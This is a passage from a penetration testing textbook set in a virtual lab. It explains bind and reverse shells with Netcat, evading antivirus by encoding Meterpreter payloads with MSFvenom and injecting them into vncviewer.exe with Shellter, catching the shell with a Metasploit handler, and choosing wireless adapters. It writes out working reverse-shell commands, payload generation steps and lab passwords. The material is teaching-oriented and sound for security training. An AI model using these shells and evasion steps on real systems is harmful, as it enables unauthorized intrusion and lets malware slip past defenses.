network. Sometimes, a vendor makes a minor revision to a chipset version of their prod-
uct, which prevents the wireless network adapter from operating in Monitoring mode on 
the penetration tester’s machine. In addition, some wireless network adapters may not 
work out of the box and require you to download and compile the drivers on your Kali 
Linux machine.

https://www.kali.org/get-kali/
https://www.shellterproject.com/introducing-shellter/
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3. Scanning and enumeration: The scanning and enumeration phase is commonly used to col-
lect specific details and information about the target such as open ports, running services, 
and operating systems, and identify user accounts, network shares, and configurations on 
targeted systems.

4. Vulnerability analysis: During this phase, the penetration tester analyzes the collected data 
from the previous phases to identify any potential security vulnerabilities on the target, de-
termine their severity and risk rating, and identify countermeasures to help the organization 
improve their cyber defenses.

5. Exploitation: In this phase, the ethical hacker or penetration tester attempts to exploit each 
security vulnerability found on a targeted system using both manual and automated techniques 
to determine whether the security vulnerability actually exists and gain a foothold on the target.

6. Post-exploitation: Once a targeted system is compromised, the penetration tester will attempt 
to expand their foothold further into the compromised system and onto other systems within 
scope. During this phase, the penetration tester can identify additional security vulnerabilities 
on the target.

7. Reporting: This is one of the most important phases during any penetration test. The penetra-
tion tester is required to provide a detailed technical and executive report to the stakeholders 
of the targeted organization with information about the security assessment, the techniques 
used to discover the security vulnerabilities, the security vulnerabilities that were found, and 
recommendations on how to improve the security posture of the targeted system.

8. Remediation: Based on the information in the report, the organization can implement the 
necessary steps needed to remediate the identified security vulnerabilities on the targeted 
system. The process may involve applying security controls and patches and improving the 
configuration of systems and devices. Some examples of security controls may include net-
work segmentation, encryption, access controls, and intrusion detection systems (IDSs). The 
vulnerability rating and severity should be used to help organizations prioritize higher-risk 
vulnerabilities and allocate resources to remediate them.

Network penetration testing provides a lot of advantages for organizations, such as the following:

• It helps companies stay ahead of cybercriminals by proactively identifying security vulner-
abilities on their assets, while determining how a real attacker will be able to compromise 
targeted systems and using the insights to improve and harden their systems and network 
infrastructure. Furthermore, vulnerability analysis helps organizations to better prioritize 
their resources in implementing remediation, such as countermeasures to address the most 
critical security vulnerabilities first.

For instance, a system with a security vulnerability risk rating of 8 should be prioritized over a 
system with a lower severity rating such as 3. However, it’s important to consider whether each 
of these systems is connected directly to the internet or on an internal network. While some 
professionals may argue that the severity risk rating should take precedence, it’s important to 
note that a critical system that’s directly connected to the internet with a lower severity rating 
may be prioritized because an external threat actor has direct connectivity to the system as 
compared to an internal system.
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• In addition, considering other factors such as the exploitability, potential impact, and environ-
ment in which the vulnerability exists can help to tailor a response to the organizational setting.

• Penetration testing encompasses a broad range of activities beyond identifying patch man-
agement inefficiencies. These activities include testing application-layer vulnerabilities, net-
work-layer vulnerabilities, and human-based (social engineering) vulnerabilities.

• Each day, many organizations are reporting data breaches. Network penetration testing helps 
organizations take a proactive approach to identifying and resolving security vulnerabilities, 
therefore reducing the risk of a real cyberattack in the future. Furthermore, it helps in iden-
tifying and resolving security vulnerabilities and also in prioritizing the risks. This allows 
organizations allocate resources more effectively to address the most critical vulnerabilities 
first. In addition, this helps organizations thoroughly assess their cyber defenses and deter-
mine whether their systems, networks and infrastructure are compliant with various industry 
standards and frameworks. For instance, organizations that process a payment card system are 
required to be Payment Card Industry Data Security Standard (PCI DSS)-compliant to protect 
sensitive data during a payment transaction. 

• While many organizations are continuously working on improving their cybersecurity strat-
egies, performing network penetration testing helps the organization measure their incident 
response and handle the preparedness of their security team. If organizations are unable to 
efficiently identify and respond to security incidents, the threat actor will be able to expand their 
foothold on the compromised network and potentially cause more damage to the organization.

• Another important benefit of performing regular security assessments is helping organizations 
stay ahead of new and emerging threats in the wild. While many organizations have a patch 
management system, network penetration testing helps organizations determine whether there 
are any inefficiencies in the patch management process and whether there are any security 
vulnerabilities on their systems that can be exploited by a cybercriminal.

Now that you’ve been introduced to network penetration testing, you will learn about the importance 
of bind and reverse shells and how they can be leveraged by ethical hackers and penetration testers.

Network penetration testing is an active process of testing the security of a network 
by simulating an attack from malicious outsiders or insiders. Vulnerability anal-
ysis, often part of a penetration test, is more specifically focused on identifying, 
classifying, and prioritizing vulnerabilities.

While network penetration testing is crucial, it should be part of a comprehensive 
cybersecurity strategy. This strategy includes continuous Monitoring, cybersecuri-
ty training for employees, the implementation of security policies and procedures, 
and the adoption of advanced security technologies.
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Working with bind and reverse shells
Bind shells are commonly used by penetration testers to logically set up a service port in a listening 
state on a targeted system while binding the listening service port to a native shell such as Bourne 
Again Shell (Bash) on Linux or Command Prompt on Windows; this is commonly referred to as a 
listener. Once the penetration tester initiates a connection to the listener and a session is established, 
the penetration tester will gain access to the targeted system’s native shell, whether it’s Bash on Linux 
or Command Prompt on a Windows-based system.

Imagine your target is a vulnerable server on the internet with a public IP address, while your attacker 
machine, such as Kali Linux, is behind a router or firewall with network address translation (NAT) 
enabled. If there is a firewall between the source and destination, some firewalls are usually configured 
to allow outbound traffic from their internal network to the internet, but not vice versa. Therefore, if a 
device on the internet initiates a connection to a system on a private network, the NAT-enabled router 
or firewall will automatically terminate (close/block) the connection for security reasons.

The following are common attributes of a bind shell for penetration testers:

• Bind shells are shells that are bound to a specific port to create a listener for incoming con-
nections from a remote machine.

• When a remote machine establishes a connection to the targeted system that is running the 
listener on the specific bind port, a shell is spawned between the remote machine and the 
targeted system, therefore, providing remote access to the targeted system.

• Bind shells are commonly used by penetration testers when the IP address of the targeted 
system is known and a listener can be configured on it.

If a penetration tester is able to compromise a vulnerable system on the internet, a listener can be 
bound to the Windows Command Prompt or a Linux shell with the targeted system’s IP address and 
bind port number. This enables the penetration tester to remotely connect to the targeted system via 
its public IP address and bind port number and obtain a bind shell on the target.

On a NAT-enabled router, the private source IPv4 address is translated into the public 
IPv4 address on the internet-facing interface on the router before it’s sent on the internet. 
This means that internet-connected devices will see the sender’s address as the public 
IPv4 address on the router or modem and not the private IPv4 address of the client on 
the private network. NAT prevents direct connections between source and destination 
devices. To learn more about NAT, please visit https://www.comptia.org/content/
guides/what-is-network-address-translation.

https://www.comptia.org/content/guides/what-is-network-address-translation
https://www.comptia.org/content/guides/what-is-network-address-translation


Understanding Network Penetration Testing288

The following diagram shows a visual representation of a bind shell between an attacker machine 
and a targeted system:

Figure 8.1: Bind shell

As shown in the preceding diagram, the attacker machine, such as Kali Linux, is located on a private 
network and it’s behind a firewall that’s configured to perform outbound traffic to the internet. How-
ever, the penetration tester wants to establish a remote shell to the targeted system on the internet. 
Therefore, the penetration tester needs to compromise the targeted system and set up a listener on 
the public IP address and a port number on the target.

The penetration tester can use Netcat, Ncat, and even Metasploit to set up bind shells between target 
and attacker machines. These common cybersecurity tools are very useful for binding an IP address 
and port number for listeners. Keep in mind that once a shell is established between systems, the 
penetration tester will be able to remotely execute commands on the targeted system over a network.

A reverse shell is another technique commonly used by penetration testers to set up a call-back session 
from a compromised system to the attacker machine. Unlike bind shells, penetration testers set up a 
listener on their attacker machine, then send instructions to the targeted system to establish a call-
back session to the listener, a reverse shell connection. For instance, imagine you’ve compromised a 
targeted system on an internal network and you have another attacker machine that is running on a 
cloud with a public IP address. If you attempt to establish a connection between the attacker machine 
that is hosted on the cloud to the targeted system on a private network, the targeted organization’s 
router or firewall will automatically terminate the session.

Using a reverse shell, the penetration tester can configure the listener on the attacker machine on the 
cloud and send instructions to the targeted machine to establish a connection to the listener server, 
as shown in the following diagram:

Reverse shells exploit the fact that most security devices are configured to scrutinize 
incoming connections more than outgoing ones. Thus, by initiating the connection from 
the compromised system to the attacker, reverse shells are more likely to bypass firewalls 
and routers that are not configured to block outbound connections to the internet.
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Figure 8.2: Reverse shell

The following are common attributes of a reverse shell for penetration testers:

• Penetration testers set up a listener on the attacker machine and send instructions to the 
targeted system to establish a call-back session.

• When the targeted system establishes a session to the listener on the attacker machine, a shell 
is spawned, which enables the penetration tester to remotely execute commands on the target.

• Reverse shells are commonly used when the penetration tester does not have direct access 
to the targeted machine that is behind a NAT-enable router or firewall. Therefore, it is less 
complex for the compromised system to establish an outbound connection to the internet.

In the next few subsections, you will learn how to create both bind and reverse shells using various tools.

Working with remote shells using Netcat
In this exercise, you will learn the fundamentals of working with remote shells using Netcat. Netcat is 
a multi-purpose tool that enables IT professionals to create a network connection between multiple 
systems using Transmission Control Protocol/Internet Protocol (TCP/IP). In addition, you will learn 
how to set up a listener to capture incoming connections from a remote device over a network.

Before proceeding further, please ensure you use the following guidelines:

• On VirtualBox Manager, select the Kali Linux virtual machine, click on Settings | Network 
| Enable Adapter 3. If you recall, during Chapter 2, we disabled it until it was needed. Once 
you’ve completed this chapter, disable Adapter 3 again.

• Kali Linux is the attacker machine with a network adapter connected to the 192.168.42.0/24 
(RedTeamLab) network.

• Bob-PC will operate as the targeted host, which is also connected to the 192.168.42.0/24 
(RedTeamLab) network.

• Use the local administrator account to log in to Bob-PC. Please see Chapter 3, Setting Up for 
Advanced Penetration Testing Techniques, for the user credentials.
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• Kali Linux will run Netcat as a listener to capture any incoming connections, while Bob-PC 
will be used to establish the Netcat session to Kali Linux.

To get started with remote shells using Netcat, please use the following instructions:

1. Power on the Kali Linux virtual machine, open the Terminal, and use the ip address or 
ifconfig command to identify which interface is connected to the 192.168.42.0/24 network 
and its host address, as shown here:

Figure 8.3: Checking the IP address

As shown in the preceding screenshot, Kali Linux has the 192.168.42.27 address on its eth2 
interface that’s connected to the 192.168.42.0/24 network.

2. Within Kali Linux, there are sets of pre-loaded Windows binary files that are useful to ethical 
hackers and penetration testers. One of these Windows-based binaries is Netcat for Windows. 
Let’s set up a Python-based web server on our Kali Linux virtual machine to transfer the Netcat 
file to the targeted system. On Kali Linux, use the following commands to set up a web server 
within the Windows binaries directory:

kali@kali:~$ cd /usr/share/windows-binaries
kali@kali:/usr/share/windows-binaries$ python3 -m http.server 8080

Once the Python web server is running within the /usr/share/windows-binaries directory, 
any user that connects to Kali Linux on port 8080 will be able to view and download files from 
the directory.

3. Next, power on the Bob-PC virtual machine and log in with the local administrator account. 
On the login screen, click on Other User and enter the username Bob-PC\bob and the password 
P@ssword2, as shown in the following screenshot:
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Figure 8.4: Login screen

4. On Bob-PC, open the web browser and connect to http://<Kali-Linux-address>:8080 and 
download the nc.exe file, as shown here:

Figure 8.5: Downloading Netcat

After downloading the nc.exe file, copy/move it to the C:\Windows\System32 directory within 
Bob-PC. After downloading the file, you can quit the Python web server by pressing Ctrl + Z 
on the keyboard.
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5. Next, to set up a Netcat listener on port 1234, use the following commands on Kali Linux:

kali@kali:~$ nc -nlvp 1234

The following is a breakdown of the preceding commands:

• -n: This specifies to use the IP address only and not perform Domain Name System 
(DNS) queries

• -l: This specifies to listening for incoming connections
• -v: This specifies using the verbose mode
• -p: This specifies the listening port number

6. Next, on Bob-PC, open Command Prompt and use the following commands to establish a 
Netcat connection to Kali Linux:

C:\Users\bob> nc -nv 192.168.42.27 1234

7. Once the session is established from Bob-PC (client) to Kali Linux (listener/server), you can 
enter messages on either system and they will be sent over to the other end, as shown here:

Figure 8.6: Establishing a shell

As shown in the preceding screenshot, messages were entered on Bob-PC and were received 
on the Netcat listener on Kali Linux.

8. To terminate the session, use the Ctrl + Z key combination on the keyboard.

In this exercise, you have learned how to establish a remote shell between two host machines and 
establish a communication channel. While this is a basic technique, it provides some practical insights 
into how remote shells operate between hosts on a network. Next, you will learn how to establish a 
bind shell using Netcat.
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Setting up a bind shell
In this exercise, you will learn how to set up a Netcat listener that executes a Bash shell upon receiving 
a connection, allowing the remote host to execute commands. 

To get started with setting up a bind shell, please use the following instructions:

1. Power on the Kali Linux virtual machine, open the Terminal, and use the following commands 
to create a Netcat listener that binds the native bash shell to the listener:

kali@kali:~$ nc -nlvp 1234 -e /bin/bash

2. Next, power on the Bob-PC virtual machine and log in with the local administrator account 
(Bob-PC\bob | P@ssword2). Then, open Command Prompt and use the following commands 
to establish a Netcat session to Kali Linux (listener):

C:\Users\bob> nc -nv 192.168.42.27 1234 

3. Once a session is established from Bob-PC to Kali Linux, you’ll be able to enter Linux-based 
commands on the Windows Command Prompt and they’ll be executed remotely on Kali Linux, 
as shown here:

Figure 8.7: Working with a shell

As shown in the preceding screenshot, the whoami command is entered on the bind shell, ex-
ecuted remotely on Kali Linux, and the results are returned. Similarly, the pwd command was 
used to determine the present working directory of the bind shell on Kali Linux.

If setting up the listener on a Microsoft Windows system, the nc -nlvp 1234 
-e cmd.exe command will enable you to bind the Windows Command Prompt to 

the listener using Netcat.

To get a Linux Terminal interface when using a bind shell, use the python -c 'import 
pty; pty.spawn("/bin/bash")' command.
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Having completed this exercise, you have learned how to set up a bind shell on a system running a 
Netcat listener, enabling a remote user to establish a connection to the Netcat listener, obtain a remote 
bind shell on the targeted system, and perform remote command execution. Next, you will learn how 
to set up reverse shells between hosts over a network.

Setting up reverse shells
In this exercise, you will learn how to set up a reverse shell from a targeted system back to your at-
tacker machine over a network. We will be using Bob-PC as the targeted system, which will initiate 
the reverse connection to our attacker machine, which will be Kali Linux.

To get started with this exercise, please follow these instructions:

1. Power on the Kali Linux virtual machine, open the Terminal, and use the following commands 
to set up a Netcat listener to capture any incoming connections:

kali@kali:~$ nc -nlvp 1234

2. Next, power on Bob-PC and log in with the local administration account, with the username 
Bob-PC\bob and the password P@ssword2.

3. On Bob-PC, open Command Prompt and use the following command to create a reverse con-
nection to the listener on Kali Linux, while sending the Command Prompt shell to Kali Linux:

C:\Users\bob> nc -nv 192.168.42.27 1234 -e cmd.exe

The following screenshot shows that Bob-PC was able to establish a connection to the Netcat 
listener on Kali Linux:

Figure 8.8: Setting up a shell

4. On the Kali Linux virtual machine, you’ll now have a reverse shell from the Windows machine 
(Bob-PC) on the Linux Terminal, as shown here:

If you are using a Linux-based system as the client, use the nc –nv 10.1.1.2 9999 
-e /bin/bash command to bind the Linux bash shell to the Netcat connection.
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Figure 8.9: Interacting with a shell

As shown in the preceding screenshot, the Windows machine was able to successfully connect to the 
Netcat listener and provide the local shell, enabling the remote user on Kali Linux to perform remote 
command execution.

Having completed this section, you have learned how to create a reverse shell using Netcat. However, 
keep in mind that Netcat does not encrypt messages between the Netcat client and server, which can 
lead to detection. However, it’s worth noting that both Ncat and Socat can be used to provide data 
encryption between host systems when working with remote shells.

In the next section, you will learn how to create customized reverse shell payloads and implement 
antimalware evasion techniques.

Antimalware evasion techniques
As an aspiring ethical hacker and penetration tester, you will be developing custom payloads that 
are designed for specific targets, such as systems running Windows and Linux-based operating sys-
tems. In addition, if you’re performing mobile penetration testing, you will be creating payloads for 
mobile-based operating systems such as Android and iOS. The approach and tools used for payload 
development can significantly vary across these platforms. For example, the tools and vulnerabilities 
exploited for Android and iOS systems are quite different from those for Windows and Linux.

More importantly, you will need to consider whether your targeted systems are running any antimal-
ware programs that are designed to detect and prevent any malicious code on the host. If a targeted 
system has an antimalware application installed, either it’s a native application such as Microsoft 
Defender Antivirus (sometimes referred to as Windows Defender) or a commercial solution. They 
are designed to detect and block any malicious code, application, or service from running on the 
host system. This means that there is a very high possibility that the antimalware solutions on your 
targeted systems may detect your custom payload as malicious code and block it while notifying your 
target. In this section, we introduce some common evasion techniques for penetration testers, discuss 
the fundamentals for threat identification techniques of common antimalware solutions, and explain 

To learn more about Ncat, please visit https://nmap.org/ncat/guide/index.html. To 
learn more about Socat, please visit https://www.redhat.com/sysadmin/getting-
started-socat.

https://nmap.org/ncat/guide/index.html
https://www.redhat.com/sysadmin/getting-started-socat
https://www.redhat.com/sysadmin/getting-started-socat
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There are various tools and techniques that are commonly used by cybersecurity professionals to de-
termine whether their custom payloads can bypass threat detection solutions, such as antimalware on 
a targeted system. In addition, penetration testers usually create custom payloads to establish reverse 
connections from the targeted system back to their machine and to escalate their user privileges after 
gaining a foothold onto the target. Therefore, it is essential to gain a solid understanding of various 
techniques that are used by antimalware solutions to identify potential threats and suspicious activities 
to improve the development of custom payloads to evade detection.

Since antimalware vendors are continuously improving their solutions to detect and block new and 
emerging threats in the wild (internet), ethical hackers and penetration testers need to stay up to date 
and ensure their custom payloads can evade detection, or they will be immediately quarantined or 
deleted upon detection.

The following are various techniques used by antimalware solutions to detect potential threats in a 
system and network:

• Signature-based: Signature-based detection is one of the most common and perhaps an older 
technique that is used by threat detection and prevention systems such as antimalware, IDSs, 
and intrusion prevention systems (IPSs). This technique enables the antimalware engine to 
look for matching code or patterns within a file, application, or network traffic. Once a match 
has been found, an alert is triggered, and the antimalware applications take action to prevent 
the threat from expanding its foothold on the system or network. The disadvantage of using 
signature-based detection is that the antimalware solution relies on knowing the signature to 
identify the malware. For instance, if a new threat emerges on the internet and the antimal-
ware solution does not have a matching signature, the threat can invade the organization and 
its systems without any detection until the threat intelligence team of the antimalware vendor 
detects, analyzes, and pushes an update with the new signature to their solutions. Hence, it 
is important for organizations to ensure their threat detection and prevention solutions have 
an active license (if needed) and have the latest updates from the vendor.

• Behavioral-based: In behavioral-based threat detection, if an antimalware solution detects a 
file and application on a host system to be operating outside its normal parameters, it is usu-
ally placed within a sandbox environment for further observation and analysis to determine 
whether is a threat. Within the sandbox environment, the suspicious or potentially harmful 
application is executed within a virtualized space, which enables the antimalware program 
to take a deeper look for any real potential threats or dangers before allowing it to run on the 
host’s memory space.

• Heuristic-based: In heuristic-based threat detection, the antimalware program usually needs 
pre-defined rules to help determine whether a file or application is harmful to the system or 
network. Furthermore, algorithms are also used to determine whether the executable file or 
running application has any malicious code within its instructions that has the potential to 
cause harm or data loss on the host system.

The following are common online platforms for performing static malware analysis:

• https://www.virustotal.com/

https://cuckoo.cert.ee/
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• https://cuckoo.cert.ee/

• https://app.any.run/

While antivirus and antimalware vendors usually implement one or more of these preceding tech-
niques, the cybersecurity industry is continuously evolving, with new detection methods available 
in antimalware software. In the following subsections, you will learn how to create custom payloads 
using various antimalware evasion techniques.

Encoding payloads with MSFvenom
Metasploit Framework Venom (MSFvenom) is commonly used by penetration testers to craft custom 
payloads for performing exploitation, remote code execution (RCE), and privilege escalation on tar-
geted systems. RCE allows an attacker to run arbitrary code on a target machine or in a target process 
without having physical access to the machine. In addition, this tool enables the penetration tester to 
perform encoding and obfuscation by altering and changing the appearance of the payload without 
changing its functionality. These methods are commonly used to evade threat detection systems such 
as IDSs and IPSs.

To get started using MSFvenom for generating and encoding custom payloads, please follow these 
instructions:

1. Firstly, power on the Kali Linux virtual machine and log in to the desktop.
2. Next, open the Terminal and use either the ip address show eth1 or ifconfig eth1 command 

to determine the IP address of the eth1 adapter on Kali Linux, as shown here:

Figure 8.10: Checking the IP address

The IP address from the network adapter will be used in the next step to indicate the call-back 
address or localhost address when generating the custom payload.

3. Next, use the following commands to generate a reverse shell payload:

kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp 
LHOST=172.30.1.50 LPORT=1234 -f exe -o payload1.exe

The following is a breakdown of all the parameters used in the preceding line of commands:

• -p: This enables you to specify the payload. The msfvenom --list payloads command 
displays a list of all supported payloads for MSFvenom.

https://cuckoo.cert.ee/
https://app.any.run/
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• LHOST: This allows you to specify the call-back address, such as the IP address of Kali 
Linux as the attacker machine.

• LPORT: This specifies the listening port on the attacker machine; this port needs to be 
open before executing the payload on the targeted system.

• -f: This syntax is used to specify the output format. The msfvenom --list formats 
command displays a list of supported output formats.

• -o: This specifies the names of the output file. By default, the payload is stored within 
the present working directory; use the pwd command to verify the current directory.

The following screenshot shows that the custom payload was generated successfully:

Figure 8.11: Creating a payload

4. Next, open the web browser within Kali Linux, go to https://www.virustotal.com, and upload 
the newly generated payload to determine its detection status, as shown here:

Figure 8.12: VirusTotal results

As shown in the preceding screenshot, over 50 antimalware sensors from multiple vendors 
detected the custom payload as a potential threat. If we were to upload this custom payload to 
a targeted system that is running any of these antimalware programs, it would be immediately 
detected and deleted, hence preventing us from executing the payload to obtain a reverse shell.

https://www.virustotal.com/gui/home/upload
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5. Next, let’s apply encoding to the payload using the shikata_ga_nai encoding module and per-
form 20 iterations of the encoding to reduce the threat detection rating of the custom payload; 
use the following commands:

kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp 
LHOST=172.30.1.50 LPORT=1234 -e x86/shikata_ga_nai -i 20 -f exe -o 
payload2.exe

6. After the new payload is generated, upload it to VirusTotal to determine the threat detection, 
as shown here:

Figure 8.13: Threat detection level

As shown in the preceding screenshot, while this new custom payload contains 20 iterations 
of encoding using the x86/shikata_ga_nai encode module, it was still detected by many anti-
malware sensors. However, the x86/shikata_ga_nai encoder module is mostly recommended 
when using MSFvenom.

7. Next, let’s generate another custom payload and embed it within an executable file, using the 
following commands:

kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp 
LHOST=172.30.1.50 LPORT=1234 -x /usr/share/windows-binaries/whoami.exe -e 
x86/shikata_ga_nai -i 20 -f exe -o payload3.exe

Keep in mind that once you have submitted a file to VirusTotal and it has been 
flagged as malicious, the hash of the malicious file is also shared with other an-
tivirus and security vendors within the industry. Therefore, the time to use your 
malicious payload is drastically reduced on your target.
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8. Next, upload the new payload to VirusTotal to determine the threat rating, as shown here:

Figure 8.14: Reducing threat detection

As shown in the preceding screenshot, the payload3.exe file has a lower detection rating as 
compared to the previous custom payloads. It’s important to enumerate running services and 
applications on a targeted system to determine whether the host is running a specific antimal-
ware solution, then test the payload in a lab environment to ensure it is working as expected 
before delivering to the target.

Having completed this exercise, you have learned how to reduce threat detection ratings using MS-
Fvenom by generating payloads. Next, you will learn how to use Shellter to create payloads that can’t 
be detected as easily by antimalware programs.

Creating custom payloads with Shellter
Shellter is an antimalware evasion tool that is commonly used by ethical hackers and penetration 
testers to automate the process of creating and encoding custom payloads to evade threat detection 
systems. Shellter handles the generation of shellcode and injects it into a trusted Microsoft Windows 
32-bit application. When the custom payload is executed on a targeted system, the trusted files are 
executed as if the application is benign, but the custom payload (shellcode) is executed in the back-
ground within the memory space.

To get started generating custom payloads with Shellter, please use the following instructions:

1. Power on the Kali Linux virtual machine and log in to the desktop.
2. Next, open the Terminal (#1) and use the following commands to install Shellter:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install shellter
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3. Next, use the following commands to set up and configure the working environment for Shell-
ter and install Wine32:

kali@kali:~$ sudo dpkg --add-architecture i386
kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install wine32

4. Next, use the following commands to list a set of common Windows binaries on Kali Linux:

kali@kali:~$ ls -l /usr/share/windows-binaries/

As shown in the following screenshot, there are Windows-based binaries that can be useful 
for ethical hackers and penetration testers:

Figure 8.15: Windows binaries

5. Next, let’s use the following commands to copy the vncviewer.exe file to our current working 
directory, as it’s perceived as a harmless file:

kali@kali:~$ cp /usr/share/windows-binaries/vncviewer.exe /home/kali 

Additionally, the cp /usr/share/windows-binaries/vncviewer.exe /home/kali ./ com-
mand can be used to copy the file to the present working directory without having the need 
to specify the entire output directory.

6. Next, use the following commands to launch the Shellter application on Kali Linux:

kali@kali:~$ sudo shellter

Since we’ve installed additional packages onto Kali Linux during the previous steps, 
consider logging off and re-logging in to ensure the latest packages are applied.
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7. Next, when the Shellter window appears, you will be provided with the option to use Shellter 
in automatic or manual mode – type A and hit Enter to apply automatic mode, as shown here:

Figure 8.16: Shellter menu

8. Next, Shellter will require a PE file. Specify the vncviewer.exe file within the /home/kali 
directory, as shown here:

Figure 8.17: Selecting a PE file

In automatic mode, Shellter dynamically analyzes the Portable Executable (PE) 
file to identify a suitable injection point, whereas manual mode offers more con-
trol to the user.

To learn more about PE format, please visit https://learn.microsoft.com/
en-us/windows/win32/debug/pe-format.

https://learn.microsoft.com/en-us/windows/win32/debug/pe-format
https://learn.microsoft.com/en-us/windows/win32/debug/pe-format
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9. Shellter will determine where it can inject shellcode within the PE file. Once this process is 
completed, type Y and hit Enter to enable stealth mode, as shown here:

Figure 8.18: Stealth mode

10. Next, configure the payload to be attached to the PE file and use the following configurations:

• Choose L for the listed payload.
• Payload by index: 1 – Meterpreter_Reverse_TCP.
• Set LHOST as the IP address of your Kali Linux machine.
• Set LPORT as the listening port on Kali Linux.

The following screenshot shows the expected configurations:
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Once the custom payload has been successfully compiled, the following window will appear:

Figure 8.20: Generating the payload

11. Next, go to https://www.virustotal.com/ and upload the encoded vncviewer.exe file to 
determine its threat rating, as shown here:

Figure 8.21: Checking the threat level

As shown in the preceding screenshot, the threat detection rating is lower than those payloads 
that were generated by MSFvenom.

https://www.virustotal.com/
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12. Next, use the following commands to set up a Meterpreter listener using Metasploit to capture 
the reverse shell from the targeted system when it is executed:

kali@kali:~$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 172.30.1.50
msf6 exploit(multi/handler) > set LPORT 5678
msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/
migrate
msf6 exploit(multi/handler) > exploit

The following screenshot shows the execution of the preceding commands:

Figure 8.22: Setting up a listener

The following is a breakdown of the preceding sequence of commands:

• The windows/meterpreter/reverse_tcp payload ensures that, when a connection is 
detected, Metasploit will send this payload to the targeted system, which will execute 
within memory and create a reverse shell back to the Kali Linux machine. 

• The LHOST and LPORT parameters are used to set the local IP address and listening port 
on Kali Linux.

• The AutoRunScript post/windows/manage/migrate command ensures that, once 
a connection has been established from the victim system to Kali Linux, Metasploit 
will automatically migrate the process on the targeted system to another process to 
reduce detection.

• The exploit command is used to execute a payload or exploit module within Metasploit.

13. Next, let’s deliver our custom payload to a Windows-based machine such as Metasploitable 3 
on the 172.30.1.0/24 network within our virtual lab environment. On Kali Linux, open a new 
Terminal (#2) and use the following commands to start a Python3 web server:

kali@kali:~$ python3 -m http.server 8000

The Python3 web server will enable us to download files from the Kali Linux machine onto 
other systems within our lab environment.
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14. Next, power on the Metasploitable 3 virtual machine and log in with the username 
Administrator and the password vagrant to log in to the desktop.

15. Within Metasploitable 3, open the web browser and go to http://172.30.1.50:8000/
vncviewer.exe to download and save the payload.

16. Next, execute the vncviewer.exe file on Metasploitable 3 and you can see that the reverse 
shell is captured on Terminal #1 on Kali Linux, as shown here:

Figure 8.23: Obtained reverse shell

As shown in the preceding screenshot, the Metasploit listener module captured a reverse 
connection from 172.30.1.48, then delivered an additional payload to establish a Meterpreter 
shell and migrate the running process ID on the victim system. Additionally, using the sysinfo 
command on Meterpreter enables us to obtain system information about the compromised 
system.

Not all Windows-based executables will work with Shellter. When working with Shellter, it 
is important to ensure the PE file that is encoded with shellcode from Shellter executes long 
enough on the targeted system for the staged payload to be delivered from Kali Linux to the 
target. Keep in mind that executables that are heavily protected or use non-standard PE struc-
tures might pose challenges.

17. Lastly, use the getuid command within Meterpreter to determine the user account that’s 
running our payload, as shown here:

Once a Meterpreter shell has been obtained, use the help command to view a 
list of commands for performing actions and collecting information from the 
compromised machine.
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As shown in the preceding screenshot, the payload is running as the Administrator user 
account on the targeted system.

Having completed this section, you have learned how to create, encode, and deliver payloads on a 
target system host. This section has provided you with an introduction to the weaponization and 
delivery phases of the Cyber Kill Chain. In addition, you have also learned how to identify whether a 
payload has a high threat detection rating and discover common techniques that can be used to reduce 
detection by antimalware. In the next section, you will learn how to configure wireless adapters to 
monitor nearby traffic on Wi-Fi networks.

Working with wireless adapters
As an aspiring ethical hacking and penetration tester, you may be assigned to perform wireless penetra-
tion testing techniques on a targeted network with the intent of identifying any security vulnerabilities 
and assessing the attack surface to better understand how an adversary may be able to compromise 
the wireless network of an organization and gain unauthorized access.

While many ethical hackers and penetration testers prefer to directly install Kali Linux on the local 
storage drive on their laptops to improve mobility and direct access to the hardware resources, this 
deployment model isn’t always the best. For instance, the chipset within the wireless network adapter 
on a laptop may not support Monitoring mode and packet injection. Therefore, it is recommended to 
acquire a set of external wireless network adapters that do the following:

• They support IEEE 802.11 standards such as 802.11a/b/g/n/ac.
• They operate on the 2.4 GHz and 5 GHz bands.
• They support Monitoring mode to identify wireless clients and access points.
• They support packet injection for performing wireless penetration testing.

While there are many wireless network adapters available on popular e-commerce websites, the 
following are two wireless network adapters that are commonly used by penetration testers within 
the industry:

• Alfa AWUS036NHA – wireless B/G/N USB adapter (supports 2.4 GHz only)
• Alfa AWUS036ACH Long-Range Dual-Band AC1200 wireless USB adapter (supports 2.4 GHz 

and 5 GHz)

On VirtualBox Manager, select the Kali Linux virtual machine, click on Settings | Network 
| Disable Adapter 3, until it is needed later.

Keep in mind that there are additional vendors that manufacture wireless network adapters 
that support Monitoring mode and packet injection. However, you will need to do addition-
al research and make comparisons to determine which wireless network adapter is most 
suitable for you based on its availability, cost, features, form factor, and interoperability 
with your system and Kali Linux.
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The following is an image of the Alfa AWUS036NHA wireless network adapter:

Figure 8.25: Wireless 2.4 GHz adapter

As shown in the preceding image, the Alfa adapter includes a detachable antenna, which enables 
penetration testers to connect with a more powerful antenna to capture wireless frames at a greater 
distance.

The following image shows the Alfa AWUS036ACH wireless adapter:

Figure 8.26: 5 GHz-supported adapter
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As shown in the preceding image, the Alfa AWUS036ACH model also supports detachable antennas 
similar to the Alfa AWUS036NHA model.

Using a wireless network adapter that supports the 2.4 GHz band will only be efficient for performing 
wireless penetration testing on wireless networks and access points that operate only on 2.4 GHz and 
not 5 GHz. As a penetration tester, it is important to always be prepared for each type of penetration 
test, such as ensuring you have the appropriate software and hardware tools within your arsenal. 

Imagine that you have arrived at the customer’s location to perform a wireless penetration test and 
you attach your wireless network adapter to Kali Linux, but it is unable to detect the targeted wireless 
network. While there are many reasons for not being able to detect the wireless network, one specif-
ic reason is that the targeted wireless network is operating on the 5 GHz band, while your wireless 
network adapter only supports 2.4 GHz. Hence, it is important to carefully plan for each penetration 
test before starting any technical work on the customer’s infrastructure.

Over the next few subsections, you will learn how to connect the Alfa AWUS036NHA and AWUS036ACH 
wireless adapters to the Kali Linux virtual machine.

Connecting wireless adapters to Kali Linux
In this section, you will learn how to properly attach a USB wireless network adapter to Kali Linux 
over Oracle VM VirtualBox. In this exercise, I’ll be using the Alfa AWUS036NHA wireless adapter as 
it doesn’t require additional drivers on Kali Linux.

